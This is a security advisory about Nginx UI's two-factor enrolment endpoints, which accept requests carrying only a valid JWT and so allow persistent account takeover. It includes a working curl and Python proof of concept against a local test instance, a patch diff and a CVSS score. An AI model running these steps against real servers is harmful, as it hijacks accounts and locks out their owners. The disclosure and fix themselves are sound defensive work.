Endpoints that bind a TOTP secret (POST /api/otpenroll) or register a WebAuthn passkey (POST /api/finishpasskeyregister) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.
// detailsapi/user/router.go:34-39 — note the routes registered before the secure-session group:
r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession
o := r.Group("", middleware.RequireSecureSession())
{
o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent
...
}EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):
if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
Secret string `json:"secret" binding:"required"`
Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.
// proof of conceptJWT=""
# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
"url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}
# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084
# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
-d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
http://127.0.0.1:18080/api/otp_enroll
HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
"last_viewed":1778338236}
# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
"recovery_codes_generated":true,"recovery_codes_viewed":true}Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.
The passkey variant follows the same pattern: GET /api/beginpasskeyregister then POST /api/finishpasskeyregister with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.
// impact- Persistent account takeover surviving the victim's password reset.
- Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.
api/user/router.go — move enrolment routes inside the secure-session group:
- r.POST("/otp_enroll", EnrollTOTP)
- r.GET("/begin_passkey_register", BeginPasskeyRegistration)
- r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
o := r.Group("", middleware.RequireSecureSession())
{
+ o.POST("/otp_enroll", EnrollTOTP)
+ o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+ o.POST("/finish_passkey_register", FinishPasskeyRegistration)
o.GET("/otp_reset", ResetOTP)
...
}This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/currentuser.go).
// workaroundsNone reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.
// creditsVishal Shukla (@shukla304) and Sechub.dev AI Agent.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High